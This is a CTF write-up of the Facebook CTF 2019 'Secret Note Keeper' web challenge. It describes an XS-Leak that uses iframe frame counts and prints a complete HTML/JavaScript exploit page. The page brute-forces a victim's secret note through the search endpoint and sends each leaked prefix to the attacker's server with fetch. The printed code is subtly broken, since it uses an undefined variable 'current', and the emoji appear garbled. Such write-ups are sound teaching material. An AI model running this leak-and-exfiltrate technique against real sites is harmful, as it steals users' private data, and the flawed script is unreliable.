Facebook CTF 2019: Secret Note Keeper (Web 676)

Category: Web
Points: 676
Solves: 61

Description

Find the secret note that contains the fl4g!

http://challenges.fbctf.com:8082

Same thing but in tokyo: http://challenges3.fbctf.com:8082/

(Timeout is 5 seconds for links, flag is case insensitive)

Writeup

For TL;DR see below.

What We Got

The purpose of the web app was to store, view and search for notes. A user could log in (or register by logging in with new credentials), create notes, see their own notes, search their notes and report bugs.

A note consisted of a title and a body. The list of notes was displayed as a table below the creation form. To search for notes, the user could provide a string which is then searched in the bodies of their notes. If one or more notes matched, the results are each displayed in an own iFrame which showed the noteโ€™s title and body. To report a bug, the user could provide a title, an explanation and a link.

First Observations ๐Ÿ‘€

Since there was a report functionality, this looked like we had to exploit a client-side vulnerability, such as XSS or CSRF. I checked if we could provide any link or just links to the web app itself, but it turned out that a bot would visit any link. Looking at the user agent, that bot was a HeadlessChrome.

Next, I tried to trigger any kind of XSS but had no luck. I also checked if one user could visit another userโ€™s notes but got a No notes available! when visiting /note/${id}, which is what was loaded in the iFrames in the search results.

So we had to do a client side attack, but had no possibility to send another user a link to a page on the web app that has data controlled by us? ๐Ÿค”

That smelled like an XS-Leak!

Leaking a Note ๐Ÿšฐ

So I checked out the XS-Leaks GitHub repo, which has a nice list of browser side channels. I checked them out and literally the first one in the list was a perfect match for our case: Window.frames.length tells us how many frames a page contains!

I quickly checked if there was a X-Frame-Options header, but there was none. This meant we could load a search in an iFrame and check if our query matched any note by checking if there are any frames in the result page.

The Exploit ๐Ÿ’ฃ

Having all that information, it was quite straightforward to come up with the following:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<!doctype html>
<html>
<head>
<title>XS-Leaker</title>
</head>
<body>
<iframe id="iframe"></iframe>
<script>
const baseUrl = 'http://challenges.fbctf.com:8082/search?query=';
const alphabet = '0123456789abcdefghijklmnopqrstuvwxyz!"#$&\'()*+,-./:;?@[\\]^`{|}~ <=>_'; // excluded: %
var flag = 'fb{';
var currentGuess = alphabet[0];

// everytime the iframe loads, we check if our guess was correct
iframe.onload = () => {
// check if there are any frames
const frameCount = iframe.contentWindow.frames.length;
const isCorrect = frameCount > 0;

console.log(currentGuess, isCorrect, iframe.contentWindow.frames.length);

if (isCorrect) {
// the current guess is correct, so send it back...
flag += currentGuess;
fetch(`/?flag=${encodeURIComponent(flag)}`);

// ...and continue with the next position
currentGuess = alphabet[0];
}

// continue leaking
const index = alphabet.indexOf(currentGuess);
if (index === alphabet.length - 1) {
// we could not find a correct char for the current position :(
fetch(`/?BIG=OOF`);
} else {
// try the next char!
currentGuess = alphabet[index + 1];
tryCurrentGuess();
}
};

function tryCurrentGuess() {
iframe.src = baseUrl + encodeURIComponent((current + currentGuess));
}

// start the leaking!
tryCurrentGuess();
</script>
</body>
</html>

Since the timout of the bot was only 5 seconds, I had to submit a report several times. In retrospective I should have automated that, but copy-pasting PoW challenges and solutions to and from my terminal made me feel like I contributed something and did not leave all the work to my script.

After some bug fixes, like excluding % from the alphabet because the search is implemented with a LIKE SQL statement, I finally got the flag:
fb{cr055_s173_l34|<5_4r4_c00ool!!}

TL;DR

Use iframe.contentWindow.frames.length as an XS-Leak oracle ๐Ÿ”ฎ.